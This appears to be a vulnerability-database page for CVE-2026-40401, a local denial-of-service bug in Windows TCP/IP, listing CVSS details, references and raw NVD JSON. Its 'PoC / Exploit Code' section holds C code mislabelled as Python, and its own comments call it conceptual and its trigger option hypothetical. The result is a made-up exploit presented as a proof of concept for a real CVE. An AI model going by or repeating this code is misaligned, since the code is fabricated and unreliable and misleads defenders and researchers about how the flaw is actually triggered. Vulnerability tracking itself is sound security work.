CVE-2026-40401

Description

Null pointer dereference in Windows TCP/IP allows an unauthorized attacker to deny service locally.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Microsoft Windows (具体受影响版本请参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-40401 (Conceptual)
 * This code attempts to trigger a NULL pointer dereference in Windows TCP/IP stack.
 * Compile with: gcc poc.c -o poc
 */
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>

int main() {
    WSADATA wsaData;
    SOCKET sock;
    // Malicious buffer or option structure simulation
    char trigger_data[256] = {0};
    
    // Initialize Winsock
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
        printf("WSAStartup failed\n");
        return 1;
    }

    // Create a socket (AF_INET, SOCK_STREAM)
    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sock == INVALID_SOCKET) {
        printf("Socket creation failed\n");
        WSACleanup();
        return 1;
    }

    // Attempt to set a specific socket option that triggers the vulnerability
    // Note: The exact option level and name are hypothetical for this CVE.
    // This simulates passing a NULL pointer or invalid context.
    int result = setsockopt(sock, IPPROTO_TCP, 0x100, trigger_data, sizeof(trigger_data));
    
    if (result == SOCKET_ERROR) {
        printf("setsockopt failed (Expected behavior on patched systems)\n");
    } else {
        printf("Trigger packet sent. Check for system crash.\n");
    }

    closesocket(sock);
    WSACleanup();
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40401
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40401
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40401/
[4] VulDB https://vuldb.com/cve/CVE-2026-40401
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40401

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-40401", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:17.820", "lastModified": "2026-05-13T15:34:52.573", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Null pointer dereference in Windows TCP/IP allows an unauthorized attacker to deny service locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40401", "source": "[email protected]"}]}}